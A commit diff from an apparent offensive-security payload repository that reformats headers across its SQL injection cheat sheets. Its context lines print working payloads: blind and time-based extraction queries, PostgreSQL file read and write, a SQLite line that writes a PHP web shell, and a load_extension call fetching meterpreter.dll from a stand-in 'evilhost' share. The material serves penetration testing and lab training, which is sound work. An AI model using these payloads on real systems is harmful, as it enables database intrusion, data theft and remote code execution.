Skip to content

Commit 48a4e5c

Browse files
committed
Normalize page header for SQLi, Upload, Cache Deception
1 parent a338b2f commit 48a4e5c

File tree

14 files changed

+118
-70
lines changed

14 files changed

+118
-70
lines changed

SQL Injection/BigQuery Injection.md

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
1-
# Google BigQuery SQL Injection
1+
# Google BigQuery SQL Injection
2+
3+
> Google BigQuery SQL Injection is a type of security vulnerability where an attacker can execute arbitrary SQL queries on a Google BigQuery database by manipulating user inputs that are incorporated into SQL queries without proper sanitization. This can lead to unauthorized data access, data manipulation, or other malicious activities.
24
35
## Summary
46

@@ -10,6 +12,7 @@
1012
* [BigQuery Time Based](#bigquery-time-based)
1113
* [References](#references)
1214

15+
1316
## Detection
1417

1518
* Use a classic single quote to trigger an error: `'`
@@ -62,6 +65,7 @@ dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY
6265

6366
* Time based functions does not exist in the BigQuery syntax.
6467

68+
6569
## References
6670

6771
* [BigQuery SQL Injection Cheat Sheet - Ozgur Alp - February 14, 2022](https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac)

SQL Injection/DB2 Injection.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
> IBM DB2 is a family of relational database management systems (RDBMS) developed by IBM. Originally created in the 1980s for mainframes, DB2 has evolved to support various platforms and workloads, including distributed systems, cloud environments, and hybrid deployments.
44
5+
56
## Summary
67

78
* [DB2 Cheatsheet](#db2-cheatsheet)

SQL Injection/HQL Injection.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
> Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia
44
5+
56
## Summary
67

78
* [HQL Comments](#hql-comments)
@@ -15,7 +16,6 @@
1516
* [Methods by DBMS](#methods-by-dbms)
1617
* [References](#references)
1718

18-
:warning: Your input will always be between the percentage symbols: `%INJECT_HERE%`
1919

2020
## HQL Comments
2121

SQL Injection/MSSQL Injection.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,8 @@
11
# MSSQL Injection
22

3+
> MSSQL Injection is a type of security vulnerability that can occur when an attacker can insert or "inject" malicious SQL code into a query executed by a Microsoft SQL Server (MSSQL) database. This typically happens when user inputs are directly included in SQL queries without proper sanitization or parameterization. SQL Injection can lead to serious consequences such as unauthorized data access, data manipulation, and even gaining control over the database server.
4+
5+
36
## Summary
47

58
* [MSSQL Default Databases](#mssql-default-databases)

SQL Injection/MySQL Injection.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,8 @@
11
# MySQL Injection
22

3+
> MySQL Injection is a type of security vulnerability that occurs when an attacker is able to manipulate the SQL queries made to a MySQL database by injecting malicious input. This vulnerability is often the result of improperly handling user input, allowing attackers to execute arbitrary SQL code that can compromise the database's integrity and security.
4+
5+
36
## Summary
47

58
* [MYSQL Default Databases](#mysql-default-databases)

SQL Injection/OracleSQL Injection.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,8 @@
11
# Oracle SQL Injection
22

3+
> Oracle SQL Injection is a type of security vulnerability that arises when attackers can insert or "inject" malicious SQL code into SQL queries executed by Oracle Database. This can occur when user inputs are not properly sanitized or parameterized, allowing attackers to manipulate the query logic. This can lead to unauthorized access, data manipulation, and other severe security implications.
4+
5+
36
## Summary
47

58
* [Oracle SQL Default Databases](#oracle-sql-default-databases)

SQL Injection/PostgreSQL Injection.md

Lines changed: 24 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -1,48 +1,43 @@
1-
# PostgreSQL injection
1+
# PostgreSQL Injection
2+
3+
>
4+
25

36
## Summary
47

58
* [PostgreSQL Comments](#postgresql-comments)
6-
* [PostgreSQL version](#postgresql-version)
9+
* [PostgreSQL Version](#postgresql-version)
710
* [PostgreSQL Current User](#postgresql-current-user)
811
* [PostgreSQL List Users](#postgresql-list-users)
912
* [PostgreSQL List Password Hashes](#postgresql-list-password-hashes)
1013
* [PostgreSQL List Database Administrator Accounts](#postgresql-list-database-administrator-accounts)
1114
* [PostgreSQL List Privileges](#postgresql-list-privileges)
1215
* [PostgreSQL Check if Current User is Superuser](#postgresql-check-if-current-user-is-superuser)
1316
* [PostgreSQL database name](#postgresql-database-name)
14-
* [PostgreSQL List databases](#postgresql-list-database)
15-
* [PostgreSQL List tables](#postgresql-list-tables)
16-
* [PostgreSQL List columns](#postgresql-list-columns)
17+
* [PoStgresql List Databases](#postgresql-list-database)
18+
* [PostgreSQL List Tables](#postgresql-list-tables)
19+
* [PostgreSQL List Columns](#postgresql-list-columns)
1720
* [PostgreSQL Error Based](#postgresql-error-based)
1821
* [PostgreSQL XML Helpers](#postgresql-xml-helpers)
1922
* [PostgreSQL Blind](#postgresql-blind)
2023
* [PostgreSQL Time Based](#postgresql-time-based)
21-
* [PostgreSQL Stacked query](#postgresql-stacked-query)
24+
* [PostgreSQL Stacked Query](#postgresql-stacked-query)
2225
* [PostgreSQL File Read](#postgresql-file-read)
2326
* [PostgreSQL File Write](#postgresql-file-write)
24-
* [PostgreSQL Command execution](#postgresql-command-execution)
27+
* [PostgreSQL Command Execution](#postgresql-command-execution)
2528
* [CVE-2019–9193](#cve-20199193)
2629
* [Using libc.so.6](#using-libcso6)
2730
* [Bypass Filter](#bypass-filter)
2831
* [References](#references)
2932

33+
3034
## PostgreSQL Comments
3135

3236
```sql
3337
--
3438
/**/
3539
```
3640

37-
## PostgreSQL chain injection points symbols
38-
```sql
39-
; #Used to terminate a SQL command. The only place it can be used within a statement is within a string constant or quoted identifier.
40-
|| #or statement
41-
42-
# usage examples:
43-
/?whatever=1;(select 1 from pg_sleep(5))
44-
/?whatever=1||(select 1 from pg_sleep(5))
45-
```
4641

4742
## PostgreSQL Version
4843

@@ -136,7 +131,7 @@ SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
136131
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
137132
```
138133

139-
## PostgreSQL XML helpers
134+
## PostgreSQL XML Helpers
140135

141136
```sql
142137
select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row
@@ -151,6 +146,7 @@ select database_to_xmlschema(true,true,''); -- dump the current db to an XML sch
151146

152147
Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition.
153148

149+
154150
## PostgreSQL Blind
155151

156152
```sql
@@ -160,24 +156,28 @@ Note, with the above queries, the output needs to be assembled in memory. For la
160156

161157
## PostgreSQL Time Based
162158

163-
#### Identify time based
159+
#### Identify Time Based
164160

165161
```sql
166162
select 1 from pg_sleep(5)
167163
;(select 1 from pg_sleep(5))
168164
||(select 1 from pg_sleep(5))
169165
```
170166

171-
#### Database dump time based
167+
#### Database Dump Time Based
168+
172169
```sql
173170
select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1
174171
```
175172

176-
#### Table dump time based
173+
#### Table Dump Time Based
174+
177175
```sql
178176
select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1
179177
```
180-
#### columns dump time based
178+
179+
#### Columns Dump Time Based
180+
181181
```sql
182182
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1
183183
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1
@@ -191,12 +191,13 @@ AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
191191

192192
## PostgreSQL Stacked Query
193193

194-
Use a semi-colon ";" to add another query
194+
Use a semi-colon "`;`" to add another query
195195

196196
```sql
197197
http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--
198198
```
199199
200+
200201
## PostgreSQL File Read
201202
202203
```sql
@@ -238,7 +239,7 @@ SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at
238239
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport
239240
```
240241
241-
## PostgreSQL Command execution
242+
## PostgreSQL Command Execution
242243
243244
### CVE-2019–9193
244245

SQL Injection/README.md

Lines changed: 19 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,7 @@
11
# SQL Injection
22

3-
> A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.
3+
> SQL Injection (SQLi) is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. SQL Injection is one of the most common and severe types of web application vulnerabilities, enabling attackers to execute arbitrary SQL code on the database. This can lead to unauthorized data access, data manipulation, and, in some cases, full compromise of the database server.
44
5-
Attempting to manipulate SQL queries may have goals including:
6-
7-
- Information Leakage
8-
- Disclosure of stored data
9-
- Manipulation of stored data
10-
- Bypassing authorization controls
115

126
## Summary
137

@@ -21,7 +15,8 @@ Attempting to manipulate SQL queries may have goals including:
2115
* [HQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/HQL%20Injection.md)
2216
* [DB2 Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/DB2%20Injection.md)
2317
* [SQLmap](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLmap%20Cheatsheet.md)
24-
* [Entry point detection](#entry-point-detection)
18+
* [Tools](#tools)
19+
* [Entry Point Detection](#entry-point-detection)
2520
* [DBMS Identification](#dbms-identification)
2621
* [Authentication bypass](#authentication-bypass)
2722
* [Authentication Bypass (Raw MD5 SHA1)](#authentication-bypass-raw-md5-sha1)
@@ -33,6 +28,8 @@ Attempting to manipulate SQL queries may have goals including:
3328
* [No Comma Allowed](#no-comma-allowed)
3429
* [No Equal Allowed](#no-equal-allowed)
3530
* [Case modification](#case-modification)
31+
* [Labs](#labs)
32+
* [References](#references)
3633

3734

3835
## Tools
@@ -41,7 +38,7 @@ Attempting to manipulate SQL queries may have goals including:
4138
* [r0oth3x49/ghauri](https://github.com/r0oth3x49/ghauri) - An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws
4239

4340

44-
## Entry point detection
41+
## Entry Point Detection
4542

4643
Detecting the entry point in SQL injection (SQLi) involves identifying locations in an application where user input is not properly sanitized before it is included in SQL queries.
4744

@@ -358,6 +355,19 @@ Bypass using LIKE/NOT IN/IN/BETWEEN
358355
* [PortSwigger - SQL injection vulnerability allowing login bypass](https://portswigger.net/web-security/sql-injection/lab-login-bypass)
359356
* [PortSwigger - SQL injection with filter bypass via XML encoding](https://portswigger.net/web-security/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding)
360357
* [PortSwigger - SQL Labs](https://portswigger.net/web-security/all-labs#sql-injection)
358+
* [Root Me - SQL injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-authentication)
359+
* [Root Me - SQL injection - Authentication - GBK](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-authentication-GBK)
360+
* [Root Me - SQL injection - String](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-String)
361+
* [Root Me - SQL injection - Numeric](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Numeric)
362+
* [Root Me - SQL injection - Routed](https://www.root-me.org/en/Challenges/Web-Server/SQL-Injection-Routed)
363+
* [Root Me - SQL injection - Error](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Error)
364+
* [Root Me - SQL injection - Insert](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Insert)
365+
* [Root Me - SQL injection - File reading](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-File-reading)
366+
* [Root Me - SQL injection - Time based](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Time-based)
367+
* [Root Me - SQL injection - Blind](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Blind)
368+
* [Root Me - SQL injection - Second Order](https://www.root-me.org/en/Challenges/Web-Server/SQL-Injection-Second-Order)
369+
* [Root Me - SQL injection - Filter bypass](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Filter-bypass)
370+
* [Root Me - SQL Truncation](https://www.root-me.org/en/Challenges/Web-Server/SQL-Truncation)
361371

362372

363373
## References

SQL Injection/SQLite Injection.md

Lines changed: 30 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -1,37 +1,41 @@
11
# SQLite Injection
22

3+
> SQLite Injection is a type of security vulnerability that occurs when an attacker can insert or "inject" malicious SQL code into SQL queries executed by an SQLite database. This vulnerability arises when user inputs are integrated into SQL statements without proper sanitization or parameterization, allowing attackers to manipulate the query logic. Such injections can lead to unauthorized data access, data manipulation, and other severe security issues.
4+
5+
36
## Summary
47

5-
* [SQLite comments](#sqlite-comments)
6-
* [SQLite version](#sqlite-version)
7-
* [String based - Extract database structure](#string-based---extract-database-structure)
8-
* [Integer/String based - Extract table name](#integerstring-based---extract-table-name)
9-
* [Integer/String based - Extract column name](#integerstring-based---extract-column-name)
10-
* [Boolean - Count number of tables](#boolean---count-number-of-tables)
11-
* [Boolean - Enumerating table name](#boolean---enumerating-table-name)
12-
* [Boolean - Extract info](#boolean---extract-info)
13-
* [Boolean - Error based](#boolean---error-based)
14-
* [Time based](#time-based)
8+
* [SQLite Comments](#sqlite-comments)
9+
* [SQLite Version](#sqlite-version)
10+
* [String Based - Extract Database Structure](#string-based---extract-database-structure)
11+
* [Integer/String Based - Extract Table Name](#integerstring-based---extract-table-name)
12+
* [Integer/String Based - Extract Column Name](#integerstring-based---extract-column-name)
13+
* [Boolean - Count Number Of Tables](#boolean---count-number-of-tables)
14+
* [Boolean - Enumerating Table Name](#boolean---enumerating-table-name)
15+
* [Boolean - Extract Info](#boolean---extract-info)
16+
* [Boolean - Error Based](#boolean---error-based)
17+
* [Time Based](#time-based)
1518
* [Remote Code Execution](#remote-code-execution)
1619
* [Attach Database](#attach-database)
1720
* [Load_extension](#load_extension)
1821
* [References](#references)
1922

2023

21-
## SQLite comments
24+
## SQLite Comments
2225

2326
```sql
2427
--
2528
/**/
2629
```
2730

28-
## SQLite version
31+
## SQLite Version
2932

3033
```sql
3134
select sqlite_version();
3235
```
3336

34-
## String based - Extract database structure
37+
38+
## String Based - Extract Database Structure
3539

3640
```sql
3741
SELECT sql FROM sqlite_schema
@@ -40,13 +44,16 @@ if sqlite_version > 3.33.0
4044
```sql
4145
SELECT sql FROM sqlite_master
4246
```
43-
## Integer/String based - Extract table name
47+
48+
49+
## Integer/String Based - Extract Table Name
4450

4551
```sql
4652
SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
4753
```
4854

49-
## Integer/String based - Extract column name
55+
56+
## Integer/String Based - Extract Column Name
5057

5158
```sql
5259
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
@@ -64,37 +71,38 @@ Cleaner output
6471
SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');
6572
```
6673

67-
## Boolean - Count number of tables
74+
75+
## Boolean - Count Number Of Tables
6876

6977
```sql
7078
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
7179
```
7280

73-
## Boolean - Enumerating table name
81+
## Boolean - Enumerating Table Name
7482

7583
```sql
7684
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
7785
```
7886

79-
## Boolean - Extract info
87+
## Boolean - Extract Info
8088

8189
```sql
8290
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
8391
```
8492

85-
## Boolean - Extract info (order by)
93+
### Boolean - Extract Info (order by)
8694

8795
```sql
8896
CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('some_char') THEN <order_element_1> ELSE <order_element_2> END
8997
```
9098

91-
## Boolean - Error based
99+
## Boolean - Error Based
92100

93101
```sql
94102
AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END
95103
```
96104

97-
## Time based
105+
## Time Based
98106

99107
```sql
100108
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
@@ -117,7 +125,7 @@ INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
117125
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
118126
```
119127

120-
Note: By default this component is disabled
128+
Note: By default this component is disabled.
121129

122130

123131
## References

0 commit comments

Comments
 (0)